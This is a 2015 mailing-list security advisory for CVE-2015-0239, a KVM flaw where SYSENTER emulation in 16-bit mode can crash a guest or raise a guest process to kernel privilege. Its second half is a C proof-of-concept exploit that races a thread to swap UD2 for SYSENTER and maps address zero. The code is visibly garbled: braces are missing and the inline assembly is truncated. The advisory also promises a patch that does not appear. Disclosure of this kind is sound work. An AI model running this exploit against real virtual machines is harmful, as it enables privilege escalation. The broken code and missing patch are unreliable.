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Date: Tue, 27 Jan 2015 14:17:22 +0200
From: Nadav Amit <>
Cc: Red Hat Product Security <>,
 Paolo Bonzini <>
Subject: KVM SYSENTER emulation vulnerability - CVE-2015-0239

Linux 2.6.32 - 3.18 that runs KVM may enable a malicious guest process to
crash the guest OS or launch a privilege escalation attack on the guest. The
attack can be launched by tricking the hypervisor to emulate a SYSENTER
instruction in 16-bit mode, if the guest OS does not initialize the SYSENTER
MSRs. KVM does not check under these conditions that the selector
IA32_SYSENTER_CS is not zero, and does not generate a #GP exception as real
hardware does. Instead, it sets the guest instruction pointer to zero and
changes the code privilege level (CPL) to zero (privileged). Note that the
attack can only be issued under very certain conditions (see the details
below). Windows and distro Linux guest OSes should be safe.

The bug existed since the introduction of SYSENTER emulation (em_sysenter
function on recent Linux releases), in commit
8c60435261deaefeb53ce3222d04d7d5bea81296 , which is present in Linux 2.6.32
- 3.18.

To fix the bug, you can apply the following patch -

There are no known exploits of the vulnerability. Red-hat assigned
CVE-2015-0239 for this vulnerability.


The success of such an attack and its results depend on the guest OS. It is
inapplicable if the guest OS initializes the SYSENTER MSRs, as Linux usually
does. If the MSRs were not initialized, it can be used to crash the guest OS
or for privilege escalation. However, it cannot be used for privilege
escalation if the guest cannot access the first memory page, whose virtual
address is zero.

As a result of these limitations the attack is only possible in when the
guest uses certain OSes, for instance, Linux which was built without
CONFIG_IA32_EMULATION (support for legacy 32-bit programs) or FreeBSD. In
these systems, guest DoS is possible. Privilege escalation attack requires
that in addition guest processes would be able to access address zero. For
Linux guest, this requirement means the the kernel parameter
vm.mmap_min_addr is set to zero.

An attack can be launched on an SMP guest, using guest code that tricks KVM
into emulating the SYSENTER instruction. The attached PoC does just that. It
first writes a UD2 instruction, causing a #UD exception and a subsequent
VM-exit, and then tries from another thread to rewrite the UD2 instruction
with SYSENTER just before KVM emulates the instruction. The PoC is not fully
automatic since dealing with signals in 16-bit code is annoying. The PoC
therefore takes an argument that tells it how many cycles to wait before
creating the race that fools the hypervisor into emulating a SYSENTER
instruction. On my system, using 100 as an input results produces the
exploit.  Using the PoC I manages to crash the
guest Linux kernel, causing a double fault; and to demonstrate privilege
escalation by successfully executing “int $2” that caused spurious NMI.

Regardless to SMP, it appears that an attack can also
be launched on UP, if the guest is configured to run on Intel VCPU while the
real CPU is AMD. AMD CPUs do not support SYSENTER in compatibility mode; KVM
would emulate them so the VCPU would behave as if the physical CPU is Intel.
This is likely to trigger the vulnerability.



// Some of the code of the PoC was borrowed from code that was written by
// Andy Lutomirski for another vulnerability.

#include <pthread.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>
#include <string.h>
#include <stdbool.h>
#include <sys/io.h>
#include <asm/ldt.h>
#include <sys/types.h>
#include <sys/mman.h>

//#define MMAP_EXPLOIT

asm (	".pushsection .wtext, \"awx\"\n"
	"cs16ip1: \n\t"
	".int 0\n\t"
	".byte 0xf, 0\n\t"  
	"ljmp *(cs16ip1)\n\t"
	"jmp badcode\n\t"

volatile int sync = 0;

extern volatile unsigned short badcode[];
extern volatile void *entry1;

int wait_cycles;

static void *proc(void *ignored)
	sync = 1;
	while (true) {
		volatile int cycles;
		badcode[0] = 0x340f; // sysenter
		asm volatile ("clflush (%0)\n\t" : : "r"(badcode));
		for (cycles = 0; cycles < wait_cycles; cycles++);
	return NULL;

int main(int argc, char *argv[])
	int res;
	void *mem;
	pthread_t pth;
	struct user_desc d = {
		.entry_number = 1,
		.base_addr = (unsigned long)&badcode,
		.limit = 0xfffffu,
		.seg_32bit = 0, 
		.contents = 2,
		.read_exec_only = 0,
		.limit_in_pages = 1,
		.seg_not_present = 0,
		.useable = 0,
	if (argc < 2) {
		printf("usage: ./sysenter [cycles]\n"); // 100 cycles works for me
	wait_cycles = atoi(argv[1]);
	mem = mmap(NULL, 4096, PROT_EXEC | PROT_READ | PROT_WRITE,
                       MAP_ANON | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED, -1, 0);
	if (mem != NULL) {
		printf("Problem setting mmap to NULL\n");
	*(unsigned short *)mem = 0x02cd; // int $2
	res = modify_ldt(1, &d, sizeof(d));
	if (res != 0) {
		printf("Problem setting LDT entry\n");

	pthread_create(&pth, NULL, proc, NULL);
	while (!sync);
	badcode[0] = 0x0b0f; // ud2
	asm volatile ("call entry1" : : : "flags");
	return 0;

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